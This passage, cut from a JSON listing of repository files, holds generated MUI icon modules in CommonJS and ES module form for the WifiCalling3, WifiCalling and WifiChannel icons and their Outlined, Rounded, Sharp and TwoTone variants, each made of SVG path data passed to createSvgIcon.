1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"2\")], 'WifiCalling3');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"2\")], 'WifiCalling3');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6m0 3c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"2\")], 'WifiCalling3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6m0 3c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"2\")], 'WifiCalling3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.54 4.8C20.17 3.67 18.41 3 16.49 3s-3.67.67-5.05 1.8c-.34.28-.36.79-.05 1.1l.01.01c.27.27.7.29 1 .05 1.12-.91 2.54-1.45 4.09-1.45s2.97.55 4.09 1.45c.3.24.73.23 1-.05l.01-.01c.31-.31.29-.83-.05-1.1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.45 8.04c.33-.33.28-.88-.11-1.15-.8-.56-1.79-.89-2.85-.89s-2.04.33-2.85.89c-.38.27-.44.82-.11 1.15.25.25.65.31.94.1.57-.4 1.27-.64 2.02-.64s1.45.24 2.02.64c.29.21.69.15.94-.1m-2.96.86c-.32 0-.62.08-.89.21-.3.15-.34.56-.11.79l.65.65c.2.2.51.2.71 0l.65-.65c.23-.23.19-.64-.11-.79-.27-.14-.58-.21-.9-.21\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"2\")], 'WifiCalling3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.54 4.8C20.17 3.67 18.41 3 16.49 3s-3.67.67-5.05 1.8c-.34.28-.36.79-.05 1.1l.01.01c.27.27.7.29 1 .05 1.12-.91 2.54-1.45 4.09-1.45s2.97.55 4.09 1.45c.3.24.73.23 1-.05l.01-.01c.31-.31.29-.83-.05-1.1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.45 8.04c.33-.33.28-.88-.11-1.15-.8-.56-1.79-.89-2.85-.89s-2.04.33-2.85.89c-.38.27-.44.82-.11 1.15.25.25.65.31.94.1.57-.4 1.27-.64 2.02-.64s1.45.24 2.02.64c.29.21.69.15.94-.1m-2.96.86c-.32 0-.62.08-.89.21-.3.15-.34.56-.11.79l.65.65c.2.2.51.2.71 0l.65-.65c.23-.23.19-.64-.11-.79-.27-.14-.58-.21-.9-.21\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"2\")], 'WifiCalling3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15-5-1-2.9 2.9c-2.5-1.43-4.57-3.5-6-6L10 8 9 3H3c0 3.28.89 6.35 2.43 9 1.58 2.73 3.85 4.99 6.57 6.57C14.65 20.1 17.72 21 21 21z\"\n}, \"2\")], 'WifiCalling3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15-5-1-2.9 2.9c-2.5-1.43-4.57-3.5-6-6L10 8 9 3H3c0 3.28.89 6.35 2.43 9 1.58 2.73 3.85 4.99 6.57 6.57C14.65 20.1 17.72 21 21 21z\"\n}, \"2\")], 'WifiCalling3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"3\")], 'WifiCalling3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03zm-4.95 2.13L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59s-1.05.22-1.41.59\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"3\")], 'WifiCalling3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"1\")], 'WifiCallingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"1\")], 'WifiCallingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.2 15.28-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64L8.72 4.8c-.12-1.01-.97-1.77-1.99-1.77H5c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.37 15.9 15.9 1.13.07 2.07-.87 2.07-2v-1.73c0-1.02-.76-1.87-1.77-1.99\"\n}, \"1\")], 'WifiCallingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.2 15.28-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.04.57-1.64L8.72 4.8c-.12-1.01-.97-1.77-1.99-1.77H5c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.37 15.9 15.9 1.13.07 2.07-.87 2.07-2v-1.73c0-1.02-.76-1.87-1.77-1.99\"\n}, \"1\")], 'WifiCallingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.21 17.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"1\")], 'WifiCallingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.21 17.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"1\")], 'WifiCallingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.2 18.21c1.2.41 2.48.67 3.8.75v-1.49c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"2\")], 'WifiCallingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCallingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.2 18.21c1.2.41 2.48.67 3.8.75v-1.49c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1M5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.19-1.19c.85.24 1.72.39 2.6.45v1.49z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"2\")], 'WifiCallingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiChannel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3c-2.51 0-3.77 5.61-4.4 10.57C10.79 10.66 9.61 8 8 8 4.43 8 3 21 3 21h2.01c.61-5.27 2-9.82 2.99-10.87.98 1.05 2.38 5.61 2.99 10.87H13c.5-2.53 2-6 3-6s2.5 3.53 3 6h2s-.5-18-5-18m0 10c-.99 0-1.82.62-2.5 1.5.57-4.77 1.54-8.62 2.5-9.44.97.81 1.91 4.67 2.49 9.43C17.81 13.62 16.98 13 16 13\"\n}), 'WifiChannel');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiChannel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3c-2.51 0-3.77 5.61-4.4 10.57C10.79 10.66 9.61 8 8 8 4.43 8 3 21 3 21h2.01c.61-5.27 2-9.82 2.99-10.87.98 1.05 2.38 5.61 2.99 10.87H13c.5-2.53 2-6 3-6s2.5 3.53 3 6h2s-.5-18-5-18m0 10c-.99 0-1.82.62-2.5 1.5.57-4.77 1.54-8.62 2.5-9.44.97.81 1.91 4.67 2.49 9.43C17.81 13.62 16.98 13 16 13\"\n}), 'WifiChannel');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiChannelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3c-2.51 0-3.77 5.61-4.4 10.57C10.79 10.66 9.61 8 8 8 4.43 8 3 21 3 21h2.01c.61-5.27 2-9.82 2.99-10.87.98 1.05 2.38 5.61 2.99 10.87H13c.5-2.53 2-6 3-6s2.5 3.53 3 6h2s-.5-18-5-18m0 10c-.99 0-1.82.62-2.5 1.5.57-4.77 1.54-8.62 2.5-9.44.97.81 1.91 4.67 2.49 9.43C17.81 13.62 16.98 13 16 13\"\n}), 'WifiChannelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiChannelOutlined.mjs",
